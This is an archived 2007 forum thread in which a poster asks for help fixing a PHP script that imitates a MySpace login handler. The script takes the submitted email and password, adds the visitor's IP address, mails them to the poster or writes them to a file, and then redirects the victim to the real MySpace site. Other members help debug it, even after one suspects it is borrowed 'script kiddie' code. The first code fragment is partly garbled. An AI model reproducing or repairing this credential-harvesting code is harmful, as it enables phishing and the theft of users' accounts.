PDA

View Full Version : php whats wrong here



biggjay
12-15-2007, 05:59 PM
can anyone tell me whats wrong with the following file ?

<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));


";
fwrite($******, strip_tags(stripslashes($text)));
fclose($******);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

}
<?php
if (isset($_POST['email']) && (isset($_POST['password']))) {
$email = trim(strip_tags($_POST['email']));
$password = trim(strip_tags($_POST['password']));
$IP = $_SERVER['REMOTE_ADDR'];

$to = '(my email address)';
$subject = 'Myspace Login';
$message = "$email - $password - $IP";
$headers = 'From: New Myspace Login' . "\r\n" .
'Reply-To: Login' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

}
?>

Moonbat
12-15-2007, 06:08 PM
What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.

biggjay
12-18-2007, 11:47 PM
it just wont send the info to the file on the webhost ,,, i dont get any errors

Moonbat
12-19-2007, 02:08 PM
SMTP must be blocked on your host.

Ezekiel
12-19-2007, 04:03 PM
Close the first PHP tag.

Moonbat
12-19-2007, 05:52 PM
Wierd, I didn't notice he had two starting tags till now :p

biggjay
12-21-2007, 01:47 AM
how is the first tag not closed the site loads the php page but doest not post the user name and id on the text file I created... very confusing I have the text file set to 777 which allows write function but will not write for some reason

Moonbat
12-21-2007, 12:49 PM
I get the feeling you didn't write this code.

First of all, what value are you assigning to the $text variable that you are writing to the file? Second, you didn't use fopen() to even open a file, how are you going to write things to a unopened file?

biggjay
12-21-2007, 04:18 PM
Your absolutely right I didnt write the file but have researched how php works. do I () give the comman in the same file or after it is closed do I open another giving the command to open and write to the file I have hosted.

Moonbat
12-21-2007, 04:52 PM
You'd use fopen() to open the file in the same PHP file that you'll be writing contents to the file in.

biggjay
12-21-2007, 05:18 PM
for example
fopen (anyfile.txt)..... ?
then how is the info written to that file or is it easier to send it to an email address , the server does support mail.

Moonbat
12-21-2007, 06:07 PM
In that case, email is easier, just send it through email.

biggjay
12-22-2007, 02:39 AM
there is where my problem lies .. to me it looks like everything is correct but it wont send the mail

Moonbat
12-22-2007, 09:47 AM
http://www.w*schools.com/php/default.asp

Read up a bit of PHP (specifically the E-mail section) here.

Ezekiel
12-26-2007, 07:59 AM
www.php.net/fopen

This is the manual for the fopen function. It should explain everything.

As for email, that would most likely be disabled on a crappy free-hosting account.

Also, have you closed the first PHP opening tag yet?

coz
12-28-2007, 02:41 PM
I haven't messed with php for so long I forget the exact syntax and functions but I'm sure wherever you got that they cut out sections of code for "script kiddies". Its obvious what it does but I believe Moonbat is right with the fopen. A section of code is definitely missing from there and you may be missing something at the end where the mail function is. Php is usually very simple and this script is very basic that looking up the function in the php homepage or help file and making sure the web server supports that php version and it should work. I'm sure you know to fill in the variables asking for your own info. Anyway good luck with this and if you really can't figure it out post back and I'll look some shit up for you.

Sir Grifin
01-15-2008, 07:44 PM
i need a php software to design, look i need to create a web page, i just need php to validate the user acounts on a DB running in SQL server 200*, but i dont know what php fix with the work i need to do, and if somebody could give a link of a good tuto of this kind of work ill be tankfull., i need to done this work before thursday this week...:(